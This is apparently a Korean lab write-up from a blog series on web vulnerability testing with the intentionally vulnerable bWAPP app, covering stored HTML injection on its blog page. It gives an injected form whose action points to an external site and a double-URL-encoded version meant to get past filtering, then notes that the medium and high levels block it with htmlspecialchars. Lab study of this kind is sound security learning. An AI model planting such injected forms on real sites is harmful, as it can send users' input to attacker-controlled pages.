본문 바로가기
3. 웹 애플리케이션 취약점 진단/비박스를 활용한 웹 애플리케이션 취약점 진단

[비박스를 활용한 웹 취약점 진단] 1-3. 인젝션 [HTML 인젝션 (BLOG)]

by Robert8478 2023. 12. 11.

이번엔 블로그 형식이다. HTML 태그를 게시판에 저장해서 관리자가 의도하지 않은 내용을 출력하게 할 수 있다.
또는, 블로그에 실린 텍스트 필드에 내용을 입력해서 전송하고 다른 페이지로 이동한다.
그러려면 우선 텍스트 필드 코드를 가져와야하니 전에 문제에 있던 html 코드를 복사하자.
POST HTML 인젝션 페이지로 가서 f12를 눌러 개발자 도구로 들어간 후 form 부분을 복사하면 된다.
복사한 코드는 아래 코드이다.


<form action="/bWAPP/htmli_post.php" method="POST">

<p><label for="firstname">First name:</label><br>
<input type="text" id="firstname" name="firstname"></p>

<p><label for="lastname">Last name:</label><br>
<input type="text" id="lastname" name="lastname"></p>

<button type="submit" name="form" value="submit">Go</button> 

</form>

이 코드는 input으로 받은 text 데이터를 Go 버튼으로 submit 즉 서버로 전송해주는 역할을 한다.
form action을 보면 POST 메소드로 전송하되 htmli_post.php로 가게될 것이다.
만약 저기에 네이버 주소를 넣으면 어떻게 될까?

<form action="https://naver.com" method="POST">

<p><label for="firstname">First name:</label><br>
<input type="text" id="firstname" name="firstname"></p>

<p><label for="lastname">Last name:</label><br>
<input type="text" id="lastname" name="lastname"></p>

<button type="submit" name="form" value="submit">Go</button> 

</form>

이 코드를 활용해 보겠다.

[난이도 하]

저 빈칸에 아까 만든 코드를 붙여넣은 후 Submit을 눌러준다.

그러면 붙여넣었던 폼이 아래에 보이는것을 확인할 수 있다.

이제 여기에 아무 값이나 넣고 Go를 눌러보자.

아까 첫 코드를 사용했을 때에는 폼 액션이 action="/bWAPP/htmli_post.php" 이었으므로 post.php로 이동하게 된다.

두번째 코드를 사용하게 되면 action="https://naver.com" 이므로 네이버로 이동하게 된다.

만약 저 주소에 악성사이트 주소를 넣는다면 그쪽으로 이동되었을 것이다.


[난이도 중]

똑같은 방법으로 form 코드를 넣어보자

역시 필터링이 걸리는지 html 태그가 먹히지 않는다. 한번 url 인코딩을 써보자

하나하나 변환하기 힘드므로 문자 치환 사이트를 검색해서 변환하였다.
치환 사이트 : https://dencode.com/

 

DenCode | Encoding & Decoding Online Tools

Encoding and Decoding site. e.g. HTML Escape / URL Encoding / Base64 / MD5 / SHA-1 / CRC32 / and many other String, Number, DateTime, Color, Hash formats!

dencode.com

변환 후 공격한 결과 공격이 먹히지 않아 더블 인코딩 방식을 사용하였다.

인코딩한 문자열을 그대로 재 치환하면 더블인코딩이 진행된다.

[코드]

%253Cform action="https://naver.com" method="POST"%253E

%253Cp%253E%253Clabel for="firstname"%253EFirst name:%253C%252Flabel%253E%253Cbr%253E
%253Cinput type="text" id="firstname" name="firstname"%253E%253C%252Fp%253E


%253Cp%253E%253Clabel for="lastname"%253ELast name:%253C%252Flabel%253E%253Cbr%253E
%253Cinput type="text" id="lastname" name="lastname"%253E%253C%252Fp%253E

%253Cbutton type="submit" name="form" value="submit"%253EGo%253C%252Fbutton%253E

%253C%252Fform%253E

하지만 그래도 되지 않았다. 그래서 버프슈트를 돌려보았다.

보았더니 %25253C가 된것을 보아하니 이번것은 중간 난이도부터 htmlspecialchars가 쓰여진듯 하다.
functions_external.php를 보니 htmlspecialchars가 사용되고 있었다.


[난이도 상]
중간 난이도처럼 htmlspecialchars가 사용되고 있다.